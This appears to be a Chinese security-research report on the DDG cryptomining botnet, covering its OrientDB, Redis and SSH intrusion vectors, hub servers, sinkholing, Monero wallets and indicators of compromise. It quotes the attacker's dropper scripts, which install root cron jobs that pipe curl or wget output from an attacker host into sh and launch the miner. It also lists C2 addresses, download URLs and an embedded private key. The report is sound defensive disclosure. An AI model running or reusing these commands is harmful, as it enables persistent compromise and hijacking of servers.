ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
第二阶段
ddg 样本中内置了一个 hub_iplist.txt 文件，其中包含了上百个 hub_ip:8443 的列表。经我们排查，这些 hub_ip 对应的主机，多是常规网站服务器，都被攻击者入侵而沦为攻击者的肉鸡。
在这个阶段，ddg 会依次尝试连接 hub_iplist.txt 里的 hub_ip，如果成功连接某个 hub_ip ，ddg 就会访问 http://<hub_ip>:8443/wnTKYg 下载对应的 Miner 程序 wnTKYg 并启动（如果本机 CPU 不支持 AES-NI，还会下载 wnTKYg.noaes）。ddg 尝试连接 hub_ip 的过程抓包如下：
所以在 ddg 从 hub_ip 下载 Miner 并启动后的 KeepAlive 阶段，就会每隔 10s 向已连接的 hub_ip 发 2 个数据包：
样本中内置的 hub_iplist.txt
i.sh 文件中的 ddg 样本下载 URL 是 hxxp://218.248.40.228:8443/2011/ddg.$(uname -m)。ddg 文件V2011内置的 hub_iplist.txt 中有 158 个 hub_ip:8443 和 3 个 hub_domain:8443 列表，其中 2 个 Domain 未注册，然后被我们注册并 Sinkhole。
2017-11-10 我们发现 i.sh 文件内容有变化，ddg 样本最新的下载链接变成了 hxxp://218.248.40.228:8443/2020/ddg.$(uname -m) 。我们排查后发现是 ddg 内置的
hub_iplist.txt 内容有变化，估计是之前我们 Sinkhole 了黑客未注册的域名被他们发觉，他们重新上线了一批 hub_ip，替换掉了全部的 hub_ip。
DDG Mining Botnet 的攻击目标，还曾瞄准 Redis 数据库与 SSH 服务
以上分析中，DDG 的攻击目标集中在 OrientDB 上。
事实上，ddg 木马中的 ddg.$(uname -m) 系列样本还可以对 SSH 服务和 Redis 服务发起扫描&暴破攻击，这也是 ddg 一直以来入侵用户主机的主要手段。样本中内置的部分相关函数以及暴破字典如下两图所示：
样本中还有内置的 3 个 x509 证书 / 密钥文件如下：
* slave.pem
* ca.pem
* slave.key
详细内容见文末 IoC 部分。
回溯历史数据时，我们还能看到 i.sh 的 host 218.248.40.228 在更早期扫描 Redis 数据库的痕迹。互联网上也偶尔会有受害者曝光自己服务器中了 ddg 木马被用来挖矿。 下表是 218.248.40.228 在 2017-09-27 20:00:00 ~ 2017-10-25 11:00:00 期间扫描端口的分布情况。
按照扫描次数排序，6379, 7379，2480, 三个端口分别 Redis, Redis(Replicas), OrientDB 数据库服务：
近况
北京时间 2018.1.25 日 21 点左右，hxxp://218.248.40.228:8443/2011/ddg.x86_64 的样本更新，MD5 为 cbc4ba55c5ac0a12150f70585af396dc，是一个 Mirai 家族的样本。
Mirai C2 为 linuxuclib.com:8080 。
另外一个硬编码明文 C2 jbeupq84v7.2y.net 目前在在DNS系统中没有配置解析IP地址。
IoC
C2:
202.181.169.98:8443
218.248.40.228:8443
linuxuclib.com:8080
jbeupq84v7.2y.net
样本 MD5:
b1201bf62f3ca42c87515778f70fd789 ddg.i686 --> v2011
7705b32ac794839852844bb99d494797 ddg.x86_64 --> v2011
1970269321e3d30d6b130af390f2ea5c ddg.i686 --> v2020
5751440a2b3ce1481cf1464c8ac37cbe ddg.x86_64 --> v2020
f52f771c5b40a60ce344d39298866203 ddg.i686 --> v2021
3ea75a85bab6493db39b1f65940cc438 ddg.x86_64 --> v2021
b0c6cefa1a339437c75c6b09cefeb2e8 ss2480.1
8c31b6379c1c37cf747fa19b63dd84a1 ss2480.2
4fc28b8727da0bcd083a7ac3f70933fa ss22522.2
d3b1700a413924743caab1460129396b wnTKYg
8eaf1f18c006e6ecacfb1adb0ef7faee wnTKYg.noaes
9ebf7fc39efe7c553989d54965ebb468 imWBR1
样本下载链接：
hxxp://218.248.40.228:8443/2011/ddg.i686
hxxp://218.248.40.228:8443/2011/ddg.x86_64
hxxp://218.248.40.228:8443/2020/ddg.i686
hxxp://218.248.40.228:8443/2020/ddg.x86_64
hxxp://218.248.40.228:8443/2021/ddg.i686
hxxp://218.248.40.228:8443/2021/ddg.x86_64
hxxp://218.248.40.228:8443/i.sh
hxxp://218.248.40.228:8443/ss22522.2
hxxp://218.248.40.228:8443/ss2480.1
hxxp://218.248.40.228:8443/ss2480.2
hxxp://218.248.40.228:8443/wnTKYg
hxxp://202.181.169.98:8443/2011/ddg.i686
hxxp://202.181.169.98:8443/2011/ddg.x86_64
hxxp://202.181.169.98:8443/i.sh
hxxp://202.181.169.98:8443/ss22522.2
hxxp://202.181.169.98:8443/ss2480.1
hxxp://202.181.169.98:8443/ss2480.2
hxxp://202.181.169.98:8443/wnTKYg
hxxp://218.248.40.228:8443/imWBR1
ip_hublist(v2011): ip_hublist__2011.txt
ip_hublist(v2020~v2021): ip_hublist__2020.txt
三个 x509 证书/密钥文件：
slave.pem
-----BEGIN CERTIFICATE-----
MIICozCCAYsCCQDFoT3X3cNwiDANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAh3
ZS1hcy1jYTAeFw0xNzA3MTcwMTM2MjhaFw0yNzA3MTUwMTM2MjhaMBQxEjAQBgNV
BAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1w
9s7u1BrQSxJEkqCkJLl+qnw4XPL+GgCimso6WWvie8gr3AFiSDUFMVsbOOlGVXJD
CAaYStw6Wkn09cjAczNW9Ysq4EOurpGmCDdViftu+5zu2Zmz88p1/ta3BuytQlfE
Qll6IFjNLSPOAaIwaWcQFXN/OlCPJZ7wvdo5aXFgVkvFplXogQiFLdKn3PgtDiNy
EZct1/GgkYkgMTiymGrhXyj6/Eca28IsTydwU5h2fkkAIwnYpyeeEdcxsLmmFmfE
G5x1mNsmUPnvMU7/qULmchVJ16pne06rNREApbuhm/XrhaDjphK8CNbUDWNXCWIR
SKUl5bMoq5XnrvKc98kCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAg/G9vqIRz4rC
niH49gSwFzBhH9tCXyBtHj86WMb2hi9myzFGE4joMhWp7OK3lwWq18kbukPk0TBz
N9Mxrvvr0REBMPa1Q7VAq5ouFHw4WcIyzi1Ksw0SmFjaRCGqJTWQnG8lz+aIN8NX
/i1KBWPbrnZGFfLdcKUmKrIXt6I3S1kb3jhJvlTOTjfr/iPlAMjVE9+tdgmy0Bsh
Mon9ctFwFj0sLhkcuyXU33ItkX5am2qmG7ToCoUj855JEm06T6PSakRLvodAsZfp
Jmto1aFjT/7HS5ImcOrd1WWXU76cSZN5GENRcsIzmA3pq6dVKFfSwsAOMw5zQcTS
uDpcOCRjJg==
-----END CERTIFICATE-----
ca.pem
-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAK1DRcYUFowVMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
BAMMCHdlLWFzLWNhMB4XDTE3MDcxNzAxMzYyOFoXDTQ0MTIwMjAxMzYyOFowEzER
MA8GA1UEAwwId2UtYXMtY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCz6Iaprhnb68CEPCJzU1uCplIMQWuMtpuamV/M4T1G0A0qPHLsCPbnS+psuSwK
Tnp3XBDEdTbhm33/FfLXeEfEmJlVX4lJfPk7XPT/UwgJ1OgGVegxNndPd+FQf1oX
5ePSEmGZQRy9gkRQtCpSmO11AO8bbZY+WhHzvb3VQmu6rBAVCnzhPmBBlXsoyJfI
oRVX5FEwCMZXuKHVd2N/Q8XBEFX6TGICEAwSCu69QYG7eFMleLgCxFRJ1xOXfPvD
x++depGUDpR9PrsTQ6Oh3BIicuWHfj72tiooVW1mGG8yAqDfb1kBa5gq8jZM13Nx
gK0aRbZiJFreFj8Ed05LlPdnAgMBAAGjUzBRMB0GA1UdDgQWBBRL9zCbPXsgyxFe
oZYZtZmjvAyqbDAfBgNVHSMEGDAWgBRL9zCbPXsgyxFeoZYZtZmjvAyqbDAPBgNV
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBFne95zt54uyUn2ZtdUUHH
Oh3ODsCx+hL4DWsyaVa1l9PTW1es58+VGPFr4JYKj5DDj1FebYW/k0DAt6G4ehVg
pfYW23lYbwfbs1gFKaUVX1gb0U0BsLlXGJ5dVlnY09Z3RGZ1nf0U6VgTbleDc/M6
Cax7dvyn2a+2BJLxl3QCUVye6PJw33Hjjl8xfMTEv3RKoxeYP0Prgrmmg/gmr7hs
doWJBMflCWmwZJKhtdYAKMkFnprNH4h8ryqsWeO928ZHbHbxej15Rv9BjXIg4XnF
tEIvhZUJ3tj4OvK8X6hJf0ZsI/3H1ffvTHyIX4UnYgGqMFlHSBXMhOIiXed6+xsP
-----END CERTIFICATE-----
slave.key
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEA3XD2zu7UGtBLEkSSoKQkuX6qfDhc8v4aAKKayjpZa+J7yCvc
AWJINQUxWxs46UZVckMIBphK3DpaSfT1yMBzM1b1iyrgQ66ukaYIN1WJ+277nO7Z
mbPzynX+1rcG7K1CV8RCWXogWM0tI84BojBpZxAVc386UI8lnvC92jlpcWBWS8Wm
VeiBCIUt0qfc+C0OI3IRly3X8aCRiSAxOLKYauFfKPr8RxrbwixPJ3BTmHZ+SQAj
CdinJ54R1zGwuaYWZ8QbnHWY2yZQ+e8xTv+pQuZyFUnXqmd7Tqs1EQClu6Gb9euF
oOOmErwI1tQNY1cJYhFIpSXlsyirleeu8pz3yQIDAQABAoIBAQCTltbo1QVJWcqv
QkT4DG7tsx6t7GMHEZUDF11Tq9Att6YIpDLeOUMnE27x6hLkZ5xLq6GNw7MhVUMY
R8wJITum3C6LsugGNEbljGOtfbWZfz70Ob2OVAIIztwq/5H97PxqwsP2Hw+wIBAV
7RfpoZqetnmVoRac2suYQ5xF9j3w8acpCZdU2jCvbMNADdOtCkXBXcD9nGU0d9dN
Z+qajp7otDw1DbQ381x6YDEu0g9CJhXdVfqK0skOs9KTrATxLBw4u6UmIP7fNAoH
p9OXzp6gzzl4mLR05SWm1pcjuoqxL88wIPYtcfKo8Z4CxZhx2oPTiQ0JUiVHUvPh
OZwu2GSBAoGBAPFscPODr2H4dFFKK6uYb2ZRY6WSOiL31o1LCZ3a4lDJS7fvncZK
OiyG/RQIt0k68UQHNxte0VOHiaGqCaHlfikS/KN5WyQeaRmH+MKxp+atGvKXmURV
+uWK37GCIDzqTDPtu9UiAxQOOJQZCvGh40lc35v2aJGKpkD4+IaEDpDXAoGBAOrP
qpei2+DtwougNA9FTxS3Z34NCCIHT0rqoogZZirMy6M7LnUoWAgMIUjpENK7uxma
nNEWagv5XrLmFbjC/UaTF5BR9CrX0orto2CNA2upN+7Y6wNnB1ed7sjLubDEPNXv
JeZsoz4G7TDq9oXE54a8idFVePn8q1RdRvHOdYhfAoGAbMgqFO+vJPvonYBIMSec
eoQN3FsJKxx1ZnD7Qk+QTkqFfbnQY7qqf8nLWy2aOLsAX2DI6eJNe8/Eqj2N3Y8k
y6ksgRR7hsjVHpXv9vpJ51z0mX7Jpsr/JFLw/HDfydLgxz1Ft4F91Zma0NB/5+TE
HxhkAUiEUaAhzYDhquryDT0CgYAP0YOdiYQkh//mJhm7uaCVNbHMJRaaLEHkOyBN
6OAgHAHP8kmz7M7ZY+/OGJ1ghPMay3arA0aLnfYKOUPXWZN0cK5Ss6KuTDHL2Cx8
caN8Wj8BYS2b4hH1jhcrAcZ1qRKsGttDxafNouvRstJ+uoAabJMgPhDTTnlASrRf
z9fNIwKBgCM3UzxVsRyoYx7rpCQ7QSX6SHsM0cNjWDRw5aMziQmyI+sitwOPAVek
O+XvIXIzdahNBhQQ0giFKWh/b7fq2aNB1J+5TtAcEFTFFk9LC3l/U7Mk0nhUsh6G
pEcsRlnc4GpFeelJtj/c1BHBbX7HSdB8osk3GDyUwX1KVlbxZ4dk
-----END RSA PRIVATE KEY----- | {"version":"0.3.1","atoms":[["soft-return","",{}]],"cards":[["image",{"src":"__GHOST_URL__/content/images/2018/01/ddg_total_incoming.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/atk_process.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/02/hub_asn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/sinkhole_ip_geo.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/sinkhole_ip_asn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/bot_dns_query_trend.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/3_related_domain.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/2_related_domain.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/scantarget_lan.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/scantarget_wan.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/orientdb_exp1.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/orientdb_rce_exp.png","alt":"","title":""}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh\" > /var/spool/cron/root \nmkdir -p /var/spool/cron/crontabs \necho \"*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh?6 | sh\" > /var/spool/cron/crontabs/root\n\nif [ ! -f \"/tmp/ddg.2011\" ]; then \n curl -fsSL http://218.248.40.228:8443/2011/ddg.$(uname -m) -o /tmp/ddg.2011\nfi \nchmod +x /tmp/ddg.2011 && /tmp/ddg.2011\n\n\n#if [ ! -f \"/tmp/ss2480.2\" ]; then\n #curl -fsSL http://218.248.40.228:8443/ss2480.2 -o /tmp/ss2480.2\n#fi\n#chmod +x /tmp/ss2480.2 && /tmp/ss2480.2\n\nps auxf | grep -v grep | grep ss2480.1 | awk '{print $2}' | kill \n#ps auxf | grep -v grep | grep ss22522.1 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ss22522.2 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.1010 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.1021 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2001 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2003 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2004 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2005 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill\n\n#ps auxf | grep -v grep | grep ddg.2011 || rm -rf /tmp/ddg.2011\n"}],["code",{"code":"export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin\n\necho \"*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh\" > /var/spool/cron/root \necho \"*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh\" >> /var/spool/cron/root \nmkdir -p /var/spool/cron/crontabs \necho \"*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh\" > /var/spool/cron/crontabs/root \necho \"*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh\" >> /var/spool/cron/crontabs/root\n\nif [ ! -f \"/tmp/ddg.2021\" ]; then \n curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021\nfi\n\nif [ ! -f \"/tmp/ddg.2021\" ]; then \n wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021\nfi\n\nchmod +x /tmp/ddg.2021 && /tmp/ddg.2021\n\n\nif [ ! -f \"/tmp/imWBR1\" ]; then \n curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed\nfi\n\nps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill \nps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill \n#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill\n#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill\n"}],["image",{"src":"__GHOST_URL__/content/images/2017/11/hub_conn.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/smux_defaultconf.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/hub_keepalive.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/redis_ssh_funcs.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2018/01/auth_dict.png","alt":"","title":""}],["image",{"src":"__GHOST_URL__/content/images/2017/11/5_historical_scanning_port_by_i_sh_host.png","alt":"","title":""}],["code",{"code":"202.181.169.98:8443 \n218.248.40.228:8443 \nlinuxuclib.com:8080 \njbeupq84v7.2y.net \n"}],["code",{"code":"b1201bf62f3ca42c87515778f70fd789 ddg.i686 --> v2011 \n7705b32ac794839852844bb99d494797 ddg.x86_64 --> v2011 \n1970269321e3d30d6b130af390f2ea5c ddg.i686 --> v2020 \n5751440a2b3ce1481cf1464c8ac37cbe ddg.x86_64 --> v2020 \nf52f771c5b40a60ce344d39298866203 ddg.i686 --> v2021 \n3ea75a85bab6493db39b1f65940cc438 ddg.x86_64 --> v2021 \nb0c6cefa1a339437c75c6b09cefeb2e8 ss2480.1 \n8c31b6379c1c37cf747fa19b63dd84a1 ss2480.2 \n4fc28b8727da0bcd083a7ac3f70933fa ss22522.2 \nd3b1700a413924743caab1460129396b wnTKYg \n8eaf1f18c006e6ecacfb1adb0ef7faee wnTKYg.noaes \n9ebf7fc39efe7c553989d54965ebb468 imWBR1 \n"}],["code",{"code":"hxxp://218.248.40.228:8443/2011/ddg.i686 \nhxxp://218.248.40.228:8443/2011/ddg.x86_64 \nhxxp://218.248.40.228:8443/2020/ddg.i686 \nhxxp://218.248.40.228:8443/2020/ddg.x86_64 \nhxxp://218.248.40.228:8443/2021/ddg.i686 \nhxxp://218.248.40.228:8443/2021/ddg.x86_64 \nhxxp://218.248.40.228:8443/i.sh \nhxxp://218.248.40.228:8443/ss22522.2 \nhxxp://218.248.40.228:8443/ss2480.1 \nhxxp://218.248.40.228:8443/ss2480.2 \nhxxp://218.248.40.228:8443/wnTKYg \nhxxp://202.181.169.98:8443/2011/ddg.i686 \nhxxp://202.181.169.98:8443/2011/ddg.x86_64 \nhxxp://202.181.169.98:8443/i.sh \nhxxp://202.181.169.98:8443/ss22522.2 \nhxxp://202.181.169.98:8443/ss2480.1 \nhxxp://202.181.169.98:8443/ss2480.2 \nhxxp://202.181.169.98:8443/wnTKYg \nhxxp://218.248.40.228:8443/imWBR1 \n"}],["code",{"code":"-----BEGIN CERTIFICATE-----\nMIICozCCAYsCCQDFoT3X3cNwiDANBgkqhkiG9w0BAQsFADATMREwDwYDVQQDDAh3 \nZS1hcy1jYTAeFw0xNzA3MTcwMTM2MjhaFw0yNzA3MTUwMTM2MjhaMBQxEjAQBgNV \nBAMMCWxvY2FsaG9zdDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAN1w \n9s7u1BrQSxJEkqCkJLl+qnw4XPL+GgCimso6WWvie8gr3AFiSDUFMVsbOOlGVXJD \nCAaYStw6Wkn09cjAczNW9Ysq4EOurpGmCDdViftu+5zu2Zmz88p1/ta3BuytQlfE \nQll6IFjNLSPOAaIwaWcQFXN/OlCPJZ7wvdo5aXFgVkvFplXogQiFLdKn3PgtDiNy \nEZct1/GgkYkgMTiymGrhXyj6/Eca28IsTydwU5h2fkkAIwnYpyeeEdcxsLmmFmfE \nG5x1mNsmUPnvMU7/qULmchVJ16pne06rNREApbuhm/XrhaDjphK8CNbUDWNXCWIR \nSKUl5bMoq5XnrvKc98kCAwEAATANBgkqhkiG9w0BAQsFAAOCAQEAg/G9vqIRz4rC \nniH49gSwFzBhH9tCXyBtHj86WMb2hi9myzFGE4joMhWp7OK3lwWq18kbukPk0TBz \nN9Mxrvvr0REBMPa1Q7VAq5ouFHw4WcIyzi1Ksw0SmFjaRCGqJTWQnG8lz+aIN8NX \n/i1KBWPbrnZGFfLdcKUmKrIXt6I3S1kb3jhJvlTOTjfr/iPlAMjVE9+tdgmy0Bsh\nMon9ctFwFj0sLhkcuyXU33ItkX5am2qmG7ToCoUj855JEm06T6PSakRLvodAsZfp \nJmto1aFjT/7HS5ImcOrd1WWXU76cSZN5GENRcsIzmA3pq6dVKFfSwsAOMw5zQcTS \nuDpcOCRjJg== \n-----END CERTIFICATE-----\n"}],["code",{"code":"-----BEGIN CERTIFICATE-----\nMIIC/DCCAeSgAwIBAgIJAK1DRcYUFowVMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV \nBAMMCHdlLWFzLWNhMB4XDTE3MDcxNzAxMzYyOFoXDTQ0MTIwMjAxMzYyOFowEzER \nMA8GA1UEAwwId2UtYXMtY2EwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB \nAQCz6Iaprhnb68CEPCJzU1uCplIMQWuMtpuamV/M4T1G0A0qPHLsCPbnS+psuSwK \nTnp3XBDEdTbhm33/FfLXeEfEmJlVX4lJfPk7XPT/UwgJ1OgGVegxNndPd+FQf1oX \n5ePSEmGZQRy9gkRQtCpSmO11AO8bbZY+WhHzvb3VQmu6rBAVCnzhPmBBlXsoyJfI \noRVX5FEwCMZXuKHVd2N/Q8XBEFX6TGICEAwSCu69QYG7eFMleLgCxFRJ1xOXfPvD \nx++depGUDpR9PrsTQ6Oh3BIicuWHfj72tiooVW1mGG8yAqDfb1kBa5gq8jZM13Nx \ngK0aRbZiJFreFj8Ed05LlPdnAgMBAAGjUzBRMB0GA1UdDgQWBBRL9zCbPXsgyxFe \noZYZtZmjvAyqbDAfBgNVHSMEGDAWgBRL9zCbPXsgyxFeoZYZtZmjvAyqbDAPBgNV \nHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQBFne95zt54uyUn2ZtdUUHH \nOh3ODsCx+hL4DWsyaVa1l9PTW1es58+VGPFr4JYKj5DDj1FebYW/k0DAt6G4ehVg \npfYW23lYbwfbs1gFKaUVX1gb0U0BsLlXGJ5dVlnY09Z3RGZ1nf0U6VgTbleDc/M6 \nCax7dvyn2a+2BJLxl3QCUVye6PJw33Hjjl8xfMTEv3RKoxeYP0Prgrmmg/gmr7hs \ndoWJBMflCWmwZJKhtdYAKMkFnprNH4h8ryqsWeO928ZHbHbxej15Rv9BjXIg4XnF \ntEIvhZUJ3tj4OvK8X6hJf0ZsI/3H1ffvTHyIX4UnYgGqMFlHSBXMhOIiXed6+xsP \n-----END CERTIFICATE-----\n"}],["code",{"code":"-----BEGIN RSA PRIVATE KEY-----\nMIIEowIBAAKCAQEA3XD2zu7UGtBLEkSSoKQkuX6qfDhc8v4aAKKayjpZa+J7yCvc \nAWJINQUxWxs46UZVckMIBphK3DpaSfT1yMBzM1b1iyrgQ66ukaYIN1WJ+277nO7Z \nmbPzynX+1rcG7K1CV8RCWXogWM0tI84BojBpZxAVc386UI8lnvC92jlpcWBWS8Wm \nVeiBCIUt0qfc+C0OI3IRly3X8aCRiSAxOLKYauFfKPr8RxrbwixPJ3BTmHZ+SQAj \nCdinJ54R1zGwuaYWZ8QbnHWY2yZQ+e8xTv+pQuZyFUnXqmd7Tqs1EQClu6Gb9euF \noOOmErwI1tQNY1cJYhFIpSXlsyirleeu8pz3yQIDAQABAoIBAQCTltbo1QVJWcqv \nQkT4DG7tsx6t7GMHEZUDF11Tq9Att6YIpDLeOUMnE27x6hLkZ5xLq6GNw7MhVUMY \nR8wJITum3C6LsugGNEbljGOtfbWZfz70Ob2OVAIIztwq/5H97PxqwsP2Hw+wIBAV \n7RfpoZqetnmVoRac2suYQ5xF9j3w8acpCZdU2jCvbMNADdOtCkXBXcD9nGU0d9dN \nZ+qajp7otDw1DbQ381x6YDEu0g9CJhXdVfqK0skOs9KTrATxLBw4u6UmIP7fNAoH \np9OXzp6gzzl4mLR05SWm1pcjuoqxL88wIPYtcfKo8Z4CxZhx2oPTiQ0JUiVHUvPh \nOZwu2GSBAoGBAPFscPODr2H4dFFKK6uYb2ZRY6WSOiL31o1LCZ3a4lDJS7fvncZK \nOiyG/RQIt0k68UQHNxte0VOHiaGqCaHlfikS/KN5WyQeaRmH+MKxp+atGvKXmURV \n+uWK37GCIDzqTDPtu9UiAxQOOJQZCvGh40lc35v2aJGKpkD4+IaEDpDXAoGBAOrP\nqpei2+DtwougNA9FTxS3Z34NCCIHT0rqoogZZirMy6M7LnUoWAgMIUjpENK7uxma \nnNEWagv5XrLmFbjC/UaTF5BR9CrX0orto2CNA2upN+7Y6wNnB1ed7sjLubDEPNXv \nJeZsoz4G7TDq9oXE54a8idFVePn8q1RdRvHOdYhfAoGAbMgqFO+vJPvonYBIMSec \neoQN3FsJKxx1ZnD7Qk+QTkqFfbnQY7qqf8nLWy2aOLsAX2DI6eJNe8/Eqj2N3Y8k \ny6ksgRR7hsjVHpXv9vpJ51z0mX7Jpsr/JFLw/HDfydLgxz1Ft4F91Zma0NB/5+TE \nHxhkAUiEUaAhzYDhquryDT0CgYAP0YOdiYQkh//mJhm7uaCVNbHMJRaaLEHkOyBN \n6OAgHAHP8kmz7M7ZY+/OGJ1ghPMay3arA0aLnfYKOUPXWZN0cK5Ss6KuTDHL2Cx8 \ncaN8Wj8BYS2b4hH1jhcrAcZ1qRKsGttDxafNouvRstJ+uoAabJMgPhDTTnlASrRf \nz9fNIwKBgCM3UzxVsRyoYx7rpCQ7QSX6SHsM0cNjWDRw5aMziQmyI+sitwOPAVek \nO+XvIXIzdahNBhQQ0giFKWh/b7fq2aNB1J+5TtAcEFTFFk9LC3l/U7Mk0nhUsh6G \npEcsRlnc4GpFeelJtj/c1BHBbX7HSdB8osk3GDyUwX1KVlbxZ4dk \n-----END RSA PRIVATE KEY-----"}]],"markups":[["strong"],["a",["href","__GHOST_URL__/mykings-the-botnet-behind-multiple-active-spreading-botnets/"]],["a",["href","https://monero.crypto-pool.fr/"]],["a",["href","https://blogs.securiteam.com/index.php/archives/3318"]],["code"],["a",["href","https://github.com/xtaci/smux/blob/ebec7ef2574b42a7088cd7751176483e0a27d458/session.go#L284"]],["a",["href","__GHOST_URL__/file/ip_hublist__2011.txt"]],["a",["href","__GHOST_URL__/file/ip_hublist__2020.txt"]]],"sections":[[1,"p",[[0,[],0,"从 2017-10-25 开始，我们监控到有恶意代码在大规模扫描互联网上的 OrientDB 数据库服务器。进一步的分析发现，这是一个长期运营的僵尸网络，其主要目标是挖取门罗币（XMR，Monero CryptoCurrency）。我们将其命名为 "],[0,[0],1,"DDG 挖矿僵尸网络"],[0,[],0," （DDG Mining Botnet，以下简称 DDG） ，主要原因是因为其核心功能模块的名称为 DDG。"]]],[1,"p",[[0,[],0,"DDG 累积挖取的门罗币数目较大。目前我们能够确认该僵尸网络累积挖取的已经超过 "],[0,[0],1,"3,395枚门罗币"],[0,[],0,"，按当前价格折合"],[0,[0],1,"人民币 ￥5,821,657"],[0,[],0," 。另外因为矿池记账系统的问题，有2,428枚 XMR不能完全确认是否归属 DDG，按当前价格折合人民币 ￥4,163,179。DDG 是目前我们视野范围内门罗币收益第二大的僵尸网络，第一大的是我们之前报告的 "],[0,[1],1,"MyKings"],[0,[],0," 僵尸网络。"]]],[1,"p",[[0,[],0,"DDG 的结构上，除了僵尸网络中常见的 C2 和 bot，还有一个很有意思的 HUB 的设定。HUB 是一组 IP或者域名，用来提供挖矿二进制程序的下载。在 DDG 持续的更新过程中，其 v2011 版本的 HUB 列表中，有两个域名被列出但是未被注册，我们抢先注册并Sinkhole了这两个域名。虽然我们不可以通过这两个域名 Sinkhole 来接管该僵尸网络，但是可以基于 Sinkhole 数据对整个 DDG 僵尸网络的规模做一个精确的度量。"]]],[1,"h4",[[0,[0],1,"DDG Mining Botnet 的挖矿收益"]]],[1,"p",[[0,[],0,"DDG 在挖矿时使用如下矿池地址："]]],[3,"ul",[[[0,[2],1,"https://monero.crypto-pool.fr/"]]]],[1,"p",[[0,[],0,"其使用的钱包地址有三个，如下："]]],[3,"ul",[[[0,[0],1,"Wallet #1"],[0,[],0," 4AxgKJtp8TTN9Ab9JLnvg7BxZ7Hnw4hxigg35LrDVXbKdUxmcsXPEKU3SEUQxeSFV3bo2zCD7AiCzP2kQ6VHouK3KwnTKYg"]],[[0,[0],1,"Wallet #2"],[0,[],0," 45XyPEnJ6c2STDwe8GXYqZTccoHmscoNSDiTisvzzekwDSXyahCUmh19Mh2ewv1XDk3xPj3mN2CoDRjd3vLi1hrz6imWBR1"]],[[0,[0],1,"Wallet #3"],[0,[],0," 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM"]]]],[1,"p",[[0,[],0,"其中，Wallet #3 是最先开始活跃的钱包地址，高峰期在 